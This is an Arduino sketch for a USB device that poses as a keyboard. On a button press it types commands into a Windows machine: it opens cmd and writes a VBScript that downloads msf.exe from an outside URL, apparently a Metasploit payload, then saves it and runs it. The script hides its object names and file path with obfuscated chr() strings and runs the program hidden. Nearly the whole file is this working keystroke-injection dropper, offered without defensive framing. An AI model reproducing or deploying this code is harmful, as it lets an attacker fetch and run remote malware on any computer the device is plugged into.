|
#include "UsbKeyboard.h" |
|
#define BUTTON_PIN 12 |
|
#define BYPASS_TIMER_ISR 1 |
|
void setup() { |
|
pinMode(BUTTON_PIN, INPUT); |
|
digitalWrite(BUTTON_PIN, HIGH); |
|
#if BYPASS_TIMER_ISR |
|
TIMSK0&=!(1 << TOIE0); |
|
#endif |
|
} |
|
#if BYPASS_TIMER_ISR |
|
void delayMs(unsigned int ms) { |
|
for (int i = 0; i < ms; i++) { |
|
delayMicroseconds(1000); |
|
} |
|
} |
|
#endif |
|
void loop() { |
|
UsbKeyboard.update(); |
|
if (digitalRead(BUTTON_PIN) == 0 && digitalRead(13) == LOW) { |
|
play(); |
|
} |
|
#if BYPASS_TIMER_ISR // check if timer isr fixed. |
|
delayMs(20); |
|
#else |
|
delay(20); |
|
#endif |
|
} |
|
void usbsend(char* str) |
|
{ |
|
int len = strlen(str); |
|
boolean upper; |
|
for(int num=0;num { |
|
byte val; |
|
switch (str[num]){ |
|
case '>': |
|
UsbKeyboard.sendKeyStroke(55, MOD_SHIFT_LEFT); |
|
break; |
|
case '&': |
|
UsbKeyboard.sendKeyStroke(36, MOD_SHIFT_LEFT); |
|
break; |
|
case '+': |
|
UsbKeyboard.sendKeyStroke(46, MOD_SHIFT_LEFT); |
|
break; |
|
case '/': |
|
UsbKeyboard.sendKeyStroke(56); |
|
break; |
|
case ';': |
|
UsbKeyboard.sendKeyStroke(51); |
|
break; |
|
case ')': |
|
UsbKeyboard.sendKeyStroke(39, MOD_SHIFT_LEFT); |
|
break; |
|
case '(': |
|
UsbKeyboard.sendKeyStroke(38, MOD_SHIFT_LEFT); |
|
break; |
|
case ',': |
|
UsbKeyboard.sendKeyStroke(54); |
|
break; |
|
case '"': |
|
UsbKeyboard.sendKeyStroke(52, MOD_SHIFT_LEFT); |
|
break; |
|
case '.': |
|
UsbKeyboard.sendKeyStroke(55); |
|
break; |
|
case ' ': |
|
UsbKeyboard.sendKeyStroke(44); |
|
break; |
|
case '\\': |
|
UsbKeyboard.sendKeyStroke(49); |
|
break; |
|
case '=': |
|
UsbKeyboard.sendKeyStroke(46); |
|
break; |
|
case ':': |
|
UsbKeyboard.sendKeyStroke(51, MOD_SHIFT_LEFT); |
|
break; |
|
default: |
|
if (isupper(str[num])) { |
|
upper = true; |
|
} else { |
|
upper = false; |
|
} |
|
val = str[num]; |
|
if (val >= 65 && val <= 90) |
|
val -= 61; |
|
else if (val >= 97 && val <= 122) |
|
val -= 93; |
|
else if (val >= 48 && val <= 57) |
|
{ |
|
if(val == 48) |
|
val = 39; |
|
else |
|
val -= 19; |
|
} |
|
} |
|
if(upper){ |
|
UsbKeyboard.sendKeyStroke(val, MOD_SHIFT_LEFT); |
|
}else{ |
|
UsbKeyboard.sendKeyStroke(val); |
|
} |
|
val = 0; |
|
} |
|
} |
|
void play(){ |
|
digitalWrite(13, HIGH); |
|
UsbKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); |
|
delayMs(1000); |
|
usbsend("cmd"); |
|
UsbKeyboard.sendKeyStroke(KEY_ENTER); |
|
delayMs(400); |
|
usbsend("edit c:\\Users\\Public\\go.vbs"); |
|
UsbKeyboard.sendKeyStroke(KEY_ENTER); |
|
delayMs(100); |
|
usbsend("a = \"https://dc414.org/tmp/msf.exe\""); |
|
UsbKeyboard.sendKeyStroke(KEY_ENTER); |
|
usbsend("b = \"c:\\Users\\Public\\msf.exe\""); |
|
UsbKeyboard.sendKeyStroke(KEY_ENTER); |
|
usbsend("seT c=CreATEobJeCt(chR(77)&chr(83)&cHr(88)&chR(77)&chR(76)&Chr(50)&ChR(46)&chr(88)&cHr(77)&Chr(76)&cHr(72)&Chr(84)&CHr(84)&Chr(80))"); |
|
UsbKeyboard.sendKeyStroke(KEY_ENTER); |
|
usbsend("c.open \"GET\", a, false"); |
|
UsbKeyboard.sendKeyStroke(KEY_ENTER); |
|
usbsend("c.send()"); |
|
UsbKeyboard.sendKeyStroke(KEY_ENTER); |
|
usbsend("Set D=cReAtEoBJECt(CHR(65)&cHR(68)&ChR(79)&CHr(68)&cHr(66)&Chr(46)&chr(83)&chr(116)&chR(114)&CHr(101)&chr(97)&chR(109))"); |
|
UsbKeyboard.sendKeyStroke(KEY_ENTER); |
|
usbsend("d.Open"); |
|
UsbKeyboard.sendKeyStroke(KEY_ENTER); |
|
usbsend("d.Type = 1"); |
|
UsbKeyboard.sendKeyStroke(KEY_ENTER); |
|
usbsend("d.Write c.ResponseBody"); |
|
UsbKeyboard.sendKeyStroke(KEY_ENTER); |
|
usbsend("d.Position = 0"); |
|
UsbKeyboard.sendKeyStroke(KEY_ENTER); |
|
usbsend("Set E=CreaTeOBjEcT(CHr(83)&CHr(99)&cHR(114)&cHr(105)&CHr(112)&Chr(116)&chr(105)&CHr(110)&CHr(103)&CHr(46)&chr(70)&chr(105)&chR(108)&CHr(101)&chR(83)&CHr(121)&chr(115)&cH |
|
R(116)&Chr(101)&ChR(109)&Chr(79)&chr(98)&Chr(106)&cHR(101)&Chr(99)&ChR(116))"); |
|
UsbKeyboard.sendKeyStroke(KEY_ENTER); |
|
usbsend("Set e = Nothing"); |
|
UsbKeyboard.sendKeyStroke(KEY_ENTER); |
|
usbsend("d.SaveToFile b"); |
|
UsbKeyboard.sendKeyStroke(KEY_ENTER); |
|
usbsend("d.Close"); |
|
UsbKeyboard.sendKeyStroke(KEY_ENTER); |
|
usbsend("Set d = Nothing"); |
|
UsbKeyboard.sendKeyStroke(KEY_ENTER); |
|
usbsend("SET F=wscRIPT.CREatEObjEcT(cHr(87)&cHr(83)&ChR(67)&chR(114)&cHR(105)&cHr(112)&chr(116)&ChR(46)&ChR(115)&CHr(104)&chr(101)&cHR(108)&chr(108))"); |
|
UsbKeyboard.sendKeyStroke(KEY_ENTER); |
|
usbsend("F.RuN cHr(99)&cHr(58)&Chr(92)&ChR(92)&ChR(85)&ChR(115)&chR(101)&chR(114)&cHR(115)&ChR(92)&ChR(92)&CHr(80)&CHR(117)&chR(98)&cHr(108)&chr(105)&chR(99)&ChR(92)&chr(92)&ChR( |
|
109)&CHr(115)&cHr(102)&CHR(46)&CHr(101)&Chr(120)&CHr(101),((&HE478)/(&h2614)),TRUE"); |
|
UsbKeyboard.sendKeyStroke(KEY_ENTER); |
|
usbsend("Set f = nothing"); |
|
UsbKeyboard.sendKeyStroke(KEY_F, MOD_ALT_LEFT); |
|
UsbKeyboard.sendKeyStroke(KEY_S); |
|
UsbKeyboard.sendKeyStroke(KEY_F, MOD_ALT_LEFT); |
|
UsbKeyboard.sendKeyStroke(KEY_X); |
|
delayMs(100); |
|
usbsend("start WScript c:\\Users\\Public\\go.vbs"); |
|
UsbKeyboard.sendKeyStroke(KEY_ENTER); |
|
usbsend("exit"); |
|
UsbKeyboard.sendKeyStroke(KEY_ENTER); |
|
digitalWrite(13, LOW); |
|
} |